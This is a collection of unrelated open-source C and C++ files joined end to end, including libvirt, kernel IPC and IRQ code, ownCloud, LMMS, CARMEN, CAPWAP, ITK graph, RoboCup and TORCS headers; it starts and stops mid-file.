uint32_t xmlLen;
/* 24 bytes used, pad up to 64 bytes */
uint32_t unused[10];
};
libxlDriverConfigPtr
libxlDriverConfigNew(void);
libxlDriverConfigPtr
libxlDriverConfigGet(libxlDriverPrivatePtr driver);
int
libxlDriverNodeGetInfo(libxlDriverPrivatePtr driver,
virNodeInfoPtr info);
int libxlDriverConfigLoadFile(libxlDriverConfigPtr cfg,
const char *filename);
virCapsPtr
libxlMakeCapabilities(libxl_ctx *ctx);
int
libxlDomainGetEmulatorType(const virDomainDef *def);
int
libxlMakeDisk(virDomainDiskDefPtr l_dev, libxl_device_disk *x_dev);
int
libxlMakeNic(virDomainDefPtr def,
virDomainNetDefPtr l_nic,
libxl_device_nic *x_nic);
int
libxlMakeVfb(virPortAllocatorPtr graphicsports,
virDomainGraphicsDefPtr l_vfb, libxl_device_vfb *x_vfb);
int
libxlMakePCI(virDomainHostdevDefPtr hostdev, libxl_device_pci *pcidev);
virDomainXMLOptionPtr
libxlCreateXMLConf(void);
int
libxlBuildDomainConfig(virPortAllocatorPtr graphicsports,
virDomainDefPtr def,
libxl_ctx *ctx,
libxl_domain_config *d_config);
static inline void
libxlDriverLock(libxlDriverPrivatePtr driver)
{
virMutexLock(&driver->lock);
}
static inline void
libxlDriverUnlock(libxlDriverPrivatePtr driver)
{
virMutexUnlock(&driver->lock);
}
#endif /* LIBXL_CONF_H */
|
/*
All files except if stated otherwise in the begining of the file are under the ISC license:
-----------------------------------------------------------------------------------
Copyright (c) 2010-2012 Design Art Networks Ltd.
Permission to use, copy, modify, and/or distribute this software for any
purpose with or without fee is hereby granted, provided that the above
copyright notice and this permission notice appear in all copies.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include <linux/module.h>
#include <linux/list.h>
#include <linux/spinlock.h>
#include <linux/workqueue.h>
#include "I_sys_types.h"
#include "IPC_api.h"
#include "danipc_k.h"
#include "danipc_lowlevel.h"
static void handle_skbs(struct work_struct *work);
LIST_HEAD(delayed_skbs);
DEFINE_SPINLOCK(skbs_lock);
DECLARE_WORK(delayed_skbs_work, handle_skbs);
static void handle_skbs(struct work_struct *work)
{
while (!list_empty(&delayed_skbs)) {
delayed_skb_t *dskb = list_entry(delayed_skbs.next,
delayed_skb_t, list);
danipc_pair_t *pair = (danipc_pair_t *)&(dskb->skb->cb[HADDR_CB_OFFSET]);
ipc_to_virt_map_t *map = &ipc_to_virt_map[IPC_GetNode(pair->dst)][pair->prio];
unsigned long flags;
spin_lock_irqsave(&skbs_lock, flags);
list_del(delayed_skbs.next);
spin_unlock_irqrestore(&skbs_lock, flags);
send_pkt(dskb->skb);
/* Must decrement ref. counter after sending the packet. */
spin_lock_irqsave(&skbs_lock, flags);
atomic_dec(&map->pending_skbs);
spin_unlock_irqrestore(&skbs_lock, flags);
kfree(dskb);
}
}
|
#ifndef __ASM_SH_MEMBLOCK_H
#define __ASM_SH_MEMBLOCK_H
#define MEMBLOCK_REAL_LIMIT 0
#endif /* __ASM_SH_MEMBLOCK_H */
|
/*
* Copyright (C) by Klaas Freitag <freitag@owncloud.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; version 2 of the License.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
* or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* for more details.
*/
#ifndef MIRALL_FOLDERWATCHER_H
#define MIRALL_FOLDERWATCHER_H
#include "config.h"
#include <QList>
#include <QObject>
#include <QString>
#include <QStringList>
#include <QTime>
#include <QHash>
#include <QScopedPointer>
#include <QSet>
class QTimer;
namespace OCC {
class FolderWatcherPrivate;
/**
* @brief Montiors a directory recursively for changes
*
* Folder Watcher monitors a directory and its sub directories
* for changes in the local file system. Changes are signalled
* through the pathChanged() signal.
*
* Note that if new folders are created, this folderwatcher class
* does not automatically adds them to the list of monitored
* dirs. That is the responsibility of the user of this class to
* call addPath() with the new dir.
*
* @ingroup gui
*/
class FolderWatcher : public QObject
{
Q_OBJECT
public:
/**
* @param root Path of the root of the folder
*/
FolderWatcher(const QString &root, QObject *parent = 0L);
virtual ~FolderWatcher();
/**
* Set a file name to load a file with ignore patterns.
*
* Valid entries do not start with a hash sign (#)
* and may contain wildcards
*/
void addIgnoreListFile( const QString& );
QStringList ignores() const;
/**
* Not all backends are recursive by default.
* Those need to be notified when a directory is added or removed while the watcher is disabled.
* This is a no-op for backend that are recursive
*/
void addPath(const QString&);
void removePath(const QString&);
/* Check if the path is ignored. */
bool pathIsIgnored( const QString& path );
signals:
/** Emitted when one of the watched directories or one
* of the contained files is changed. */
void pathChanged(const QString &path);
/** Emitted if an error occurs */
void error(const QString& error);
protected slots:
// called from the implementations to indicate a change in path
void changeDetected( const QString& path);
void changeDetected( const QStringList& paths);
protected:
QHash<QString, int> _pendingPathes;
private:
QScopedPointer<FolderWatcherPrivate> _d;
QStringList _ignores;
QTime _timer;
QSet<QString> _lastPaths;
friend class FolderWatcherPrivate;
};
}
#endif
|
/* FILE: avl.h */
/* definitions for AVL tree routines... */
#ifndef _AVL_H
#define _AVL_H
/*
Types defined: (defined in avl.h)
TAVLTree -- Struct containing root ptr, current compare func, etc.
PAVLTree -- Pointer to AVLTree structure
TAVLNode -- Struct containing the data record, ptrs to chldrn, and
the balance factor
PAVLNode -- Pointer to AVLNode structure
PPAVLNode -- Pointer to pointer to AVLNode structure
EAVLBal -- Enum of balance factor values
EAVLOrd -- Enum of traversal orders
EAVLErr -- Enum of AVL routine error codes
CAVLEmsg -- Constant array of error messages corres. w/ EAVLErr
Exported functions:
int AVL_AddNode(PAVLTree tree, PRec rec)
--> Adds a node containing 'rec' to tree pointed to by
'*root'. Returns non-zero on error.
int AVL_DelNode(PAVLTree tree, PRec rec)
--> Searches tree '*tree' for key matching 'rec' and deletes
Returns non-zero on error
int AVL_SearchTree(PAVLTree tree, PRec rec, PPAVLNode node)
--> Searches tree '*tree' for node matching 'rec' by key
using the current key comparison function, and places
result in '*node'. Returns non-zero on error.
int AVL_SearchWholeTree
(PAVLTree tree, PRec rec, PPAVLNode node, int (*comp)(PRec,PRec))
--> Performs an inorder traversal on '*tree' until it
finds 'rec', using 'comp' as its comparison function.
If found, it places the node pointer in '*node'.
Returns non-zero on error.
int AVL_InitTree(PAVLTree tree)
--> Initializes the AVLTree struct 'tree'
int AVL_Traverse(PAVLTree tree, EAVLOrd order, int (*act)(PRec))
--> Traverses tree 'tree' in order 'order', performing
'act' on each record. If 'act' returns non-zero,
that value is returned to the caller. Otherwise
zero is returned.
int AVL_KillTree(PAVLTree tree)
--> Deallocates all records and nodes within '*tree'
int AVL_KillJustTree(PAVLTree tree)
--> Deallocates all nodes within '*tree', leaving the
records intact (that way, the AVL tree can be used
as a container for records that may be stored in
another structure as well.)
int AVL_SetTreeComp(PAVLTree tree, int (*comp)(PRec, PRec))
--> Sets the compare function for '*tree' to 'comp()'
'comp' should be defined as 'int comp(PRec,PRec);'
*/
typedef enum { LeftHigh, RightHigh, Balanced } EAVLBal;
typedef struct tAVLNode * PAVLNode;
typedef struct tAVLNode {
PAVLNode l;
PAVLNode r;
EAVLBal bal;
void * rec; /* No AVL functions ever dereference rec. */
} TAVLNode;
typedef PAVLNode * PPAVLNode;
typedef struct tAVLTree {
PAVLNode root;
int (*comp)(void *,void *);
} TAVLTree;
typedef struct tAVLTree * PAVLTree;
typedef enum { InOrder, PreOrder, PostOrder } EAVLOrd;
typedef enum {
EAVL_NOERR=0, EAVL_NULLTREE, EAVL_NOTFOUND, EAVL_DUPREC, EAVL_NOCOMP,
EAVL_COMPCHG
} EAVLErr;
extern const char * CAVLEmsg[]; /* Error message array in avl.c */
typedef int (*PAVLCompFxn)(void *, void*);
typedef int (*PAVLActFxn) (void *);
int AVL_AddNode (PAVLTree tree, void * rec);
int AVL_Traverse (PAVLTree tree, EAVLOrd order, PAVLActFxn act);
int AVL_SearchTree (PAVLTree tree, void * rec, void ** node);
int AVL_SearchWholeTree
(PAVLTree tree, void * rec, PPAVLNode node, PAVLCompFxn comp);
int AVL_KillTree (PAVLTree tree);
int AVL_KillJustTree
(PAVLTree tree);
int AVL_SetTreeComp (PAVLTree tree, PAVLCompFxn comp);
int AVL_InitTree (PAVLTree tree);
int AVL_DelNode (PAVLTree tree, void * rec);
void AVL_DumpTreeInfo(PAVLTree tree, PAVLActFxn act);
#endif
/* ======================================================================== */
/* This program is free software; you can redistribute it and/or modify */
/* it under the terms of the GNU General Public License as published by */
/* the Free Software Foundation; either version 2 of the License, or */
/* (at your option) any later version. */
/* */
/* This program is distributed in the hope that it will be useful, */
/* but WITHOUT ANY WARRANTY; without even the implied warranty of */
/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU */
/* General Public License for more details. */
/* */
/* You should have received a copy of the GNU General Public License */
/* along with this program; if not, write to the Free Software */
/* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */
/* ======================================================================== */
/* Copyright (c) 1998-2001, Joseph Zbiciak */
/* ======================================================================== */
|
/*
* Copyright (C) 2013 MACSi Project
* Author: Woody Rousseau
* email: woody.rousseau@ensta-paristech.fr
* website: www.macsi.isir.upmc.fr
* Permission is granted to copy, distribute, and/or modify this program
* under the terms of the GNU General Public License, version 2 or any
* later version published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
* Public License for more details
*/
/**
* \file imageThread.h
* \brief ImageThread class
* \author Woody Rousseau
* \version 0.1
* \date 23/05/13
*
* The thread sends/receives an image and its headers through the pipe using opencv
*/
#ifndef IMAGE_THREAD_H
#define IMAGE_THREAD_H
// Yarp Libraries
#include <yarp/os/BufferedPort.h>
#include <yarp/os/Network.h>
#include <yarp/sig/Image.h>
// Opencv Libraries
#include <opencv/cv.h>
#include <opencv/highgui.h>
#include "bridge.h"
#include "convertThread.h"
#include "bridgeHeader.h"
using namespace yarp::sig;
using namespace cv;
extern FILE* fromYarpPipe; /**< We get that global FILE* because it is here that we write in it ! */
/** \class ImageThread
* \brief Sending and image and its headers through the pipe
*
* This class does almost all the work ! It opens the device port, let us connect with it
* It then converts the yarp image into something opencv can handle, processes the headers before sending it through the pipe
*/
class ImageThread: public ConvertThread
{
private:
int width; /**< Width of the image */
int height; /**< Height of the image */
IplImage *image8u; /**< IplImage which is basically what we get from the camera */
Mat matImage; /**< The Mat format allows us to send it to ROS which uses opencv */
yarp::os::BufferedPort<ImageOf<PixelRgb>> imagePort; /**< The port connected to the device port to gather data from the camera */
public:
/**
* \brief Constructor
*
* Construct a ImageThread from the parameters gathered in ConvertModule
*
* \param _name : The name of the module
* \param _yarpPort : The YARP port from which we will be getting the images data
* \param _rosTopic : The ROS topic on which we want to publish the images
* \param _rate : The rate of the thread which is needed by the parent constructor
* \param _fd : File descriptors
*/
ImageThread(std::string _name, std::string _yarpPort, std::string _rosTopic, int _rate, int* _fd);
/**
* \brief Initializing the thread
*
* The thread executes this function when it starts and before "run".
* The return value of threadInit() is notified to the class and passed as a parameter to afterStart()
*
* \return If the function returns false the thread quits and never calls "run"
*/
virtual bool threadInit();
/**
* \brief Thread running at rate period
*
* Does all the work, which is sending the image and its headers through the pipe to the other middleware
*/
virtual void run();
/**
* \brief Releasing the thread
*
* Mostly closing the client port
*/
virtual void threadRelease();
};
#endif |
/*
* PlayHandle.h - base class PlayHandle - core of rendering engine
*
* Copyright (c) 2004-2014 Tobias Doerffel <tobydox/at/users.sourceforge.net>
*
* This file is part of Linux MultiMedia Studio - http://lmms.sourceforge.net
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public
* License as published by the Free Software Foundation; either
* version 2 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public
* License along with this program (see COPYING); if not, write to the
* Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
* Boston, MA 02110-1301 USA.
*
*/
#ifndef PLAY_HANDLE_H
#define PLAY_HANDLE_H
#include <QtCore/QThread>
#include <QtCore/QVector>
#include "lmms_basics.h"
class track;
class PlayHandle
{
public:
enum Types
{
TypeNotePlayHandle,
TypeInstrumentPlayHandle,
TypeSamplePlayHandle,
TypePresetPreviewHandle,
TypeCount
} ;
typedef Types Type;
PlayHandle( const Type type, f_cnt_t offset = 0 ) :
m_type( type ),
m_offset( offset ),
m_affinity( QThread::currentThread() )
{
}
virtual ~PlayHandle()
{
}
virtual bool affinityMatters() const
{
return false;
}
const QThread* affinity() const
{
return m_affinity;
}
Type type() const
{
return m_type;
}
virtual void play( sampleFrame* buffer ) = 0;
virtual bool isFinished( void ) const = 0;
// returns how many frames this play-handle is aligned ahead, i.e.
// at which position it is inserted in the according buffer
f_cnt_t offset() const
{
return m_offset;
}
void setOffset( f_cnt_t _offset )
{
m_offset = _offset;
}
virtual bool isFromTrack( const track * _track ) const = 0;
private:
Type m_type;
f_cnt_t m_offset;
const QThread* m_affinity;
} ;
typedef QList<PlayHandle *> PlayHandleList;
typedef QList<const PlayHandle *> ConstPlayHandleList;
#endif
|
#ifndef MODEL_GROUP_WALLGROUP_H_INCLUDED
#define MODEL_GROUP_WALLGROUP_H_INCLUDED
#include "../Wall.h"
#include <glm/vec2.hpp>
#include <vector>
namespace Model {
class WallGroup {
public:
void init();
void insertWall(const Wall& wall);
const std::vector<Wall>& getWalls() const;
private:
std::vector<Wall> _walls;
};
}
#endif |
/*********************************************************
*
* This source code is part of the Carnegie Mellon Robot
* Navigation Toolkit (CARMEN)
*
* CARMEN Copyright (c) 2002 Michael Montemerlo, Nicholas
* Roy, Sebastian Thrun, Dirk Haehnel, Cyrill Stachniss,
* and Jared Glover
*
* CARMEN is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public
* License as published by the Free Software Foundation;
* either version 2 of the License, or (at your option)
* any later version.
*
* CARMEN is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied
* warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
* PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General
* Public License along with CARMEN; if not, write to the
* Free Software Foundation, Inc., 59 Temple Place,
* Suite 330, Boston, MA 02111-1307 USA
*
********************************************************/
/** @addtogroup glv **/
// @{
/** \file glv.h
* \brief Definition of the functions of this module.
*
* This file specifies the functions of this module.
**/
#ifndef CARMEN_GLV_H
#define CARMEN_GLV_H
#ifdef __cplusplus
extern "C" {
#endif
#include <carmen/global.h>
#include <carmen/carmen_stdio.h>
#define MESSAGE_ID_POINT 0
#define MESSAGE_ID_LINE 1
#define MESSAGE_ID_FACE 2
#define MESSAGE_ID_COLOR 3
typedef struct {
unsigned char r, g, b;
} glv_color_t, *glv_color_p;
typedef struct {
glv_color_t c;
float x, y, z;
} glv_point_t, *glv_point_p;
typedef struct {
glv_color_t c;
glv_point_t p1, p2;
} glv_line_t, *glv_line_p;
typedef struct {
glv_color_t c;
glv_point_t p1, p2, p3;
glv_point_t normal;
} glv_face_t, *glv_face_p;
typedef struct {
int num_points, max_points;
glv_point_p point;
int num_lines, max_lines;
glv_line_p line;
int num_faces, max_faces;
glv_face_p face;
glv_point_t centroid, min, max;
} glv_object_t, *glv_object_p;
void write_color_glv(carmen_FILE *fp,
unsigned char r, unsigned char g, unsigned char b);
void write_point_glv(carmen_FILE *fp,
float x, float y, float z);
void write_line_glv(carmen_FILE *fp,
float x1, float y1, float z1,
float x2, float y2, float z2);
void write_face_glv(carmen_FILE *fp,
float x1, float y1, float z1,
float x2, float y2, float z2,
float x3, float y3, float z3);
glv_object_p glv_object_read(char *filename);
#ifdef __cplusplus
}
#endif
#endif
// @}
|
#include "capwap.h"
#include "capwap_element.h"
/********************************************************************
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| IP Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Type: 30 for CAPWAP Local IPv4 Address
Length: 4
********************************************************************/
/* */
static void capwap_localipv4_element_create(void* data, capwap_message_elements_handle handle, struct capwap_write_message_elements_ops* func) {
struct capwap_localipv4_element* element = (struct capwap_localipv4_element*)data;
ASSERT(data != NULL);
/* */
func->write_block(handle, (uint8_t*)&element->address, sizeof(struct in_addr));
}
/* */
static void* capwap_localipv4_element_parsing(capwap_message_elements_handle handle, struct capwap_read_message_elements_ops* func) {
struct capwap_localipv4_element* data;
ASSERT(handle != NULL);
ASSERT(func != NULL);
if (func->read_ready(handle) != 4) {
log_printf(LOG_DEBUG, "Invalid Local IPv4 Address element: underbuffer");
return NULL;
}
/* Retrieve data */
data = (struct capwap_localipv4_element*)capwap_alloc(sizeof(struct capwap_localipv4_element));
func->read_block(handle, (uint8_t*)&data->address, sizeof(struct in_addr));
return data;
}
/* */
static void* capwap_localipv4_element_clone(void* data) {
ASSERT(data != NULL);
return capwap_clone(data, sizeof(struct capwap_localipv4_element));
}
/* */
static void capwap_localipv4_element_free(void* data) {
ASSERT(data != NULL);
capwap_free(data);
}
/* */
const struct capwap_message_elements_ops capwap_element_localipv4_ops = {
.category = CAPWAP_MESSAGE_ELEMENT_SINGLE,
.create = capwap_localipv4_element_create,
.parse = capwap_localipv4_element_parsing,
.clone = capwap_localipv4_element_clone,
.free = capwap_localipv4_element_free
};
|
/*
* linux/arch/arm/mach-omap2/irq.c
*
* Interrupt handler for OMAP2 boards.
*
* Copyright (C) 2005 Nokia Corporation
* Author: Paul Mundt <paul.mundt@nokia.com>
*
* This file is subject to the terms and conditions of the GNU General Public
* License. See the file "COPYING" in the main directory of this archive
* for more details.
*/
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/interrupt.h>
#include <asm/hardware.h>
#include <asm/mach/irq.h>
#include <asm/irq.h>
#include <asm/io.h>
#define INTC_REVISION 0x0000
#define INTC_SYSCONFIG 0x0010
#define INTC_SYSSTATUS 0x0014
#define INTC_CONTROL 0x0048
#define INTC_MIR_CLEAR0 0x0088
#define INTC_MIR_SET0 0x008c
#define sync_p_port_write() \
do { \
int dv = 0; \
__asm__ __volatile__ ("mcr p15, 0, %0, c7, c10, 4" : : "r" (dv)); \
} while(0)
/*
* OMAP2 has a number of different interrupt controllers, each interrupt
* controller is identified as its own "bank". Register definitions are
* fairly consistent for each bank, but not all registers are implemented
* for each bank.. when in doubt, consult the TRM.
*/
static struct omap_irq_bank {
unsigned long base_reg;
unsigned int nr_irqs;
} __attribute__ ((aligned(4))) irq_banks[] = {
{
/* MPU INTC */
.base_reg = 0,
.nr_irqs = 96,
},
};
/* XXX: FIQ and additional INTC support (only MPU at the moment) */
static void omap_ack_irq(unsigned int irq)
{
sync_p_port_write();
__raw_writel(0x1, irq_banks[0].base_reg + INTC_CONTROL);
sync_p_port_write();
}
static void omap_mask_irq(unsigned int irq)
{
int offset = (irq >> 5) << 5;
if (irq >= 64) {
irq %= 64;
} else if (irq >= 32) {
irq %= 32;
}
sync_p_port_write();
__raw_writel(1 << irq, irq_banks[0].base_reg + INTC_MIR_SET0 + offset);
sync_p_port_write();
}
static void omap_unmask_irq(unsigned int irq)
{
int offset = (irq >> 5) << 5;
if (irq >= 64) {
irq %= 64;
} else if (irq >= 32) {
irq %= 32;
}
sync_p_port_write();
__raw_writel(1 << irq, irq_banks[0].base_reg + INTC_MIR_CLEAR0 + offset);
sync_p_port_write();
}
static void omap_mask_ack_irq(unsigned int irq)
{
omap_mask_irq(irq);
omap_ack_irq(irq);
}
static struct irq_chip omap_irq_chip = {
.name = "INTC",
.ack = omap_mask_ack_irq,
.mask = omap_mask_irq,
.unmask = omap_unmask_irq,
};
static void __init omap_irq_bank_init_one(struct omap_irq_bank *bank)
{
unsigned long tmp;
tmp = __raw_readl(bank->base_reg + INTC_REVISION) & 0xff;
printk(KERN_INFO "IRQ: Found an INTC at 0x%08lx "
"(revision %ld.%ld) with %d interrupts\n",
bank->base_reg, tmp >> 4, tmp & 0xf, bank->nr_irqs);
tmp = __raw_readl(bank->base_reg + INTC_SYSCONFIG);
tmp |= 1 << 1; /* soft reset */
__raw_writel(tmp, bank->base_reg + INTC_SYSCONFIG);
while (!(__raw_readl(bank->base_reg + INTC_SYSSTATUS) & 0x1))
/* Wait for reset to complete */;
/* Enable autoidle */
__raw_writel(1 << 0, bank->base_reg + INTC_SYSCONFIG);
}
void __init omap_init_irq(void)
{
unsigned long nr_irqs = 0;
unsigned int nr_banks = 0;
int i;
for (i = 0; i < ARRAY_SIZE(irq_banks); i++) {
struct omap_irq_bank *bank = irq_banks + i;
if (cpu_is_omap24xx()) {
bank->base_reg = IO_ADDRESS(OMAP24XX_IC_BASE);
}
if (cpu_is_omap34xx()) {
bank->base_reg = VA_IC_BASE;
}
omap_irq_bank_init_one(bank);
nr_irqs += bank->nr_irqs;
nr_banks++;
}
printk(KERN_INFO "Total of %ld interrupts on %d active controller%s\n",
nr_irqs, nr_banks, nr_banks > 1 ? "s" : "");
for (i = 0; i < nr_irqs; i++) {
set_irq_chip(i, &omap_irq_chip);
set_irq_handler(i, handle_level_irq);
set_irq_flags(i, IRQF_VALID);
}
}
|
/* Copyright (C) 2010 The Android Open Source Project
**
** This software is licensed under the terms of the GNU General Public
** License version 2, as published by the Free Software Foundation, and
** may be copied, distributed, and modified under those terms.
**
** This program is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
** GNU General Public License for more details.
*/
#ifndef _ANDROID_PROTOCOL_UI_COMMANDS_H
#define _ANDROID_PROTOCOL_UI_COMMANDS_H
#include "android/protocol/ui-common.h"
#define AUICMD_SET_WINDOWS_SCALE 1
#define AUICMD_CHANGE_DISP_BRIGHTNESS 2
typedef struct UICmdSetWindowsScale {
double scale;
int is_dpi;
} UICmdSetWindowsScale;
typedef struct UICmdChangeDispBrightness {
int brightness;
char light[0];
} UICmdChangeDispBrightness;
#endif
|
#ifndef AJGRAPH_H
#define AJGRAPH_H
#include <itkDataObject.h>
#include <itkMacro.h>
#include <itkObjectFactory.h>
#include <boost/graph/graph_traits.hpp>
#include <boost/graph/adjacency_list.hpp>
#include "FeatureDescriptor.h"
#include <itkArray.h>
template<class TAJVertex,class TAJEdge> class AJGraph : public itk::DataObject {
public:
struct AJVertexPropertyTag {
typedef boost::vertex_property_tag kind;
};
struct AJEdgePropertyTag {
typedef boost::edge_property_tag kind;
};
typedef boost::property<AJVertexPropertyTag, typename TAJVertex::Pointer,
boost::property<boost::vertex_index_t, int> > VertexProperty;
typedef boost::property<AJEdgePropertyTag,typename TAJEdge::Pointer,
boost::property<boost::edge_index_t,int,
boost::property<boost::edge_weight_t,double>
> > EdgeProperty;
public:
typedef boost::adjacency_list<boost::vecS,boost::vecS,boost::undirectedS,VertexProperty,EdgeProperty,boost::no_property> BoostGraphType;
private:
BoostGraphType m_Graph;
public:
typedef AJGraph<TAJVertex,TAJEdge> Self;
typedef itk::DataObject Superclass;
typedef itk::SmartPointer<Self> Pointer;
typedef TAJVertex AJVertexType;
typedef TAJEdge AJEdgeType;
typedef typename boost::graph_traits<BoostGraphType>::vertex_descriptor AJVertexHandler;
typedef typename boost::graph_traits<BoostGraphType>::edge_descriptor AJEdgeHandler;
typedef typename boost::graph_traits<BoostGraphType>::vertex_iterator VertexIterator;
typedef typename boost::graph_traits<BoostGraphType>::edge_iterator EdgeIterator;
typedef typename boost::graph_traits<BoostGraphType>::adjacency_iterator AdjacencyIterator;
typedef typename boost::graph_traits<BoostGraphType>::out_edge_iterator OutEdgesIterator;
public:
itkNewMacro(Self)
BoostGraphType & GetBoostGraph(){
return m_Graph;
}
virtual AJVertexHandler GetAJEdgeSource(const AJEdgeHandler & source){
return boost::source(source,m_Graph);
}
virtual AJEdgeHandler GetAJEdgeHandler(const AJVertexHandler & source,const AJVertexHandler & target){
return boost::edge(source,target,m_Graph).first;
}
virtual AJVertexHandler GetAJEdgeTarget(const AJEdgeHandler & target){
return boost::target(target,m_Graph);
}
virtual typename AJVertexType::Pointer GetAJVertex(const AJVertexHandler & vertex){
return boost::get(AJVertexPropertyTag(),m_Graph,vertex);
}
virtual int AJVertexDegree(const AJVertexHandler & vertex){
return boost::degree(vertex,m_Graph);
}
virtual AdjacencyIterator AdjacentAJVerticesBegin(const AJVertexHandler & vertex){
return boost::adjacent_vertices(vertex,m_Graph).first;
}
virtual AdjacencyIterator AdjacentAJVerticesEnd(const AJVertexHandler & vertex){
return boost::adjacent_vertices(vertex,m_Graph).second;
}
virtual AJVertexHandler AddAJVertex(const typename AJVertexType::Pointer & vertex){
AJVertexHandler result=boost::add_vertex(m_Graph);
boost::get(AJVertexPropertyTag(),m_Graph,result)=vertex;
return result;
}
virtual void DeleteAJVertex(const AJVertexHandler & vertex){
boost::clear_vertex(vertex,m_Graph);
boost::remove_vertex(vertex,m_Graph);
}
virtual void DeleteAJEdge(const AJEdgeHandler & edge){
boost::remove_edge(edge,m_Graph);
}
virtual AJEdgeHandler AddAJEdge(const AJVertexHandler & a, const AJVertexHandler & b){
AJEdgeHandler result= boost::add_edge(a,b,m_Graph).first;
boost::get(AJEdgePropertyTag(),m_Graph,result)=AJEdgeType::New();
return result;
}
virtual typename AJEdgeType::Pointer GetAJEdge(const AJEdgeHandler & edge){
return boost::get(AJEdgePropertyTag(),m_Graph,edge);
}
unsigned long GetNumVertices(){
return boost::num_vertices(m_Graph);
}
unsigned long GetNumEdges(){
return boost::num_edges(m_Graph);
}
EdgeIterator EdgesBegin(){
return boost::edges(m_Graph).first;
}
EdgeIterator EdgesEnd(){
return boost::edges(m_Graph).second;
}
VertexIterator VerticesBegin(){
return boost::vertices(m_Graph).first;
}
VertexIterator VerticesEnd(){
return boost::vertices(m_Graph).second;
}
OutEdgesIterator BeginOutEdges( const AJVertexHandler & vertex){
return boost::out_edges(vertex,m_Graph).first;
}
OutEdgesIterator EndOutEdges( const AJVertexHandler & vertex){
return boost::out_edges(vertex,m_Graph).second;
}
protected:
AJGraph(){
}
};
#endif // AJGRAPH_H
|
/* -*- mode: c++; c-basic-offset: 4; indent-tabs-mode: nil -*-
this file is part of rcssserver3D
Fri May 9 2003
Copyright (C) 2002,2003 Koblenz University
Copyright (C) 2003 RoboCup Soccer Server 3D Maintenance Group
$Id$
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; version 2 of the License.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
Scene
NOTE:
HISTORY:
05.11.02 - MK
- Initial version
TODO:
TOFIX:
*/
#ifndef OXYGEN_SCENE_H
#define OXYGEN_SCENE_H
#include <oxygen/oxygen_defines.h>
#include "basenode.h"
namespace oxygen
{
/** Scene is the root node of a simulatable/displayable hierarchy. It is
usually created via the scene server.
*/
class OXYGEN_API Scene : public BaseNode
{
public:
Scene();
~Scene();
/** returns the world transform of this node (always identity,
terminates upward recursion) */
virtual const salt::Matrix& GetWorldTransform() const;
/** sets the world transform of this node */
virtual void SetWorldTransform(const salt::Matrix &transform);
/** marks the scene as modified, i.e. scene nodes were added or
removed since the last update. This useful for monitors to
decide between an incremental or a full state update
*/
void SetModified(bool modified);
/** returns true iff the scene is marked modified */
bool GetModified();
/** return how many times the scene was modified */
int GetModifiedNum();
/** return he modification count at the last update */
int GetLastCacheUpdate();
protected:
void UpdateCacheInternal();
/** true, if the scene is modified */
bool mModified;
/** how many times the scene was modified */
int mModifiedNum;
/** the modification count at the last update */
int mLastCacheUpdate;
};
DECLARE_CLASS(Scene);
} //namespace oxygen
#endif //OXYGEN_SCENE_H
|
/***************************************************************************
file : aero.h
created : Sun Mar 19 00:04:59 CET 2000
copyright : (C) 2000 by Eric Espie
email : torcs@free.fr
version : $Id$
***************************************************************************/
/***************************************************************************
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
***************************************************************************/
#ifndef _AERO_H_
#define _AERO_H_
/// air density
#define AIR_DENSITY 1.23
typedef struct
{
/* dynamic */
tdble drag; /* drag force along car x axis */
tdble lift[2]; /* front & rear lift force along car z axis */
tdble lateral_drag; /* drag force along car y axis */
tdble vertical_drag; /* drag force along car z axis */
tdble Mx, My, Mz; /* torques (only with aero damage) */
sgVec3 rot_front;
sgVec3 rot_lateral;
